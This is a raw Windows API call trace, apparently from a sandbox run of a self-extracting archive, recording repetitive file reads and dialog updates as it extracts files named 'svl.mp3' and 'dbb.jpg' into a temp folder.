lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.300] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.300] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.300] GetTickCount () returned 0x1fb20 [0068.300] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.300] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.300] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.300] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.300] GetTickCount () returned 0x1fb20 [0068.300] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.300] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.301] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.301] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.301] GetTickCount () returned 0x1fb20 [0068.301] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.301] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.301] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.301] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.301] GetTickCount () returned 0x1fb20 [0068.301] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.301] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.301] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.301] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.301] GetTickCount () returned 0x1fb20 [0068.301] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.301] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.301] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.301] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.301] GetTickCount () returned 0x1fb20 [0068.301] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.301] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.301] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.301] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.301] GetTickCount () returned 0x1fb20 [0068.301] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.301] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.301] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.301] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.301] GetTickCount () returned 0x1fb20 [0068.301] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.301] ReadFile (in: hFile=0x1c, lpBuffer=0x27049a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27049a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.301] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.301] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.301] GetTickCount () returned 0x1fb20 [0068.301] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.301] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x296, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x296, lpOverlapped=0x0) returned 1 [0068.302] GetTickCount () returned 0x1fb20 [0068.302] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.302] SetFilePointer (in: hFile=0x1c, lDistanceToMove=867303, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd3be7 [0068.302] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.302] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.302] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.302] CloseHandle (hObject=0x138) returned 1 [0068.303] SetFileAttributesA (lpFileName="svl.mp3", dwFileAttributes=0x20) returned 1 [0068.303] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd3be7 [0068.304] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.304] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.304] OemToCharA (in: pSrc="dbb.jpg", pDst=0x179cc0 | out: pDst="dbb.jpg") returned 1 [0068.304] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="dbb.jpg", cchCount2=1) returned 1 [0068.304] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="dbb.jpg", cchCount2=6) returned 1 [0068.304] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="dbb.jpg", cchCount2=-1) returned 1 [0068.304] SetFilePointer (in: hFile=0x1c, lDistanceToMove=867347, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd3c13 [0068.304] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="dbb.jpg") returned 8 [0068.304] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x41a2b8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.304] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting dbb.jpg") returned 18 [0068.304] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting dbb.jpg") returned 1 [0068.304] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.304] OemToCharBuffA (in: lpszSrc="d", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="d") returned 1 [0068.304] CharToOemBuffA (in: lpszSrc="D", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="D") returned 1 [0068.304] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="dbb.jpg") returned 8 [0068.304] FindFirstFileW (in: lpFileName="dbb.jpg", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.305] GetLastError () returned 0x2 [0068.305] GetFileAttributesA (lpFileName="dbb.jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\dbb.jpg")) returned 0xffffffff [0068.305] CreateFileA (lpFileName="dbb.jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\dbb.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.305] GetFileType (hFile=0x138) returned 0x1 [0068.305] SetFilePointer (in: hFile=0x138, lDistanceToMove=588, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x24c [0068.305] SetEndOfFile (hFile=0x138) returned 1 [0068.305] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.305] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1df, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1df, lpOverlapped=0x0) returned 1 [0068.305] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.305] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.305] GetTickCount () returned 0x1fb20 [0068.305] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.305] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.305] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.305] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.305] GetTickCount () returned 0x1fb20 [0068.305] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.305] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.305] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.305] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.305] GetTickCount () returned 0x1fb20 [0068.305] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.306] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.306] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.306] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.306] GetTickCount () returned 0x1fb20 [0068.306] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.306] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.306] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.306] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.306] GetTickCount () returned 0x1fb20 [0068.306] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.306] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.306] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.306] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.306] GetTickCount () returned 0x1fb20 [0068.306] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.306] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.306] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.306] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.306] GetTickCount () returned 0x1fb20 [0068.306] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.306] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.306] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.306] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.306] GetTickCount () returned 0x1fb20 [0068.306] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.306] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.306] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.306] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.306] GetTickCount () returned 0x1fb20 [0068.306] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.306] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.306] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.306] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.306] GetTickCount () returned 0x1fb20 [0068.306] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.306] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.306] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.306] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.306] GetTickCount () returned 0x1fb20 [0068.306] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.306] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.307] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.307] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.307] GetTickCount () returned 0x1fb20 [0068.307] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.307] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.307] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.307] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.307] GetTickCount () returned 0x1fb20 [0068.307] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.307] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.307] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.307] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.307] GetTickCount () returned 0x1fb20 [0068.307] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.307] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.307] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.307] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.307] GetTickCount () returned 0x1fb20 [0068.307] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.307] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.307] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.307] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.307] GetTickCount () returned 0x1fb20 [0068.307] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.307] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.307] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.307] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.307] GetTickCount () returned 0x1fb20 [0068.307] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.307] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.307] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.307] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.307] GetTickCount () returned 0x1fb20 [0068.307] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.307] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.307] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.307] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.307] GetTickCount () returned 0x1fb20 [0068.307] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.307] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.307] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.307] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.307] GetTickCount () returned 0x1fb20 [0068.308] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 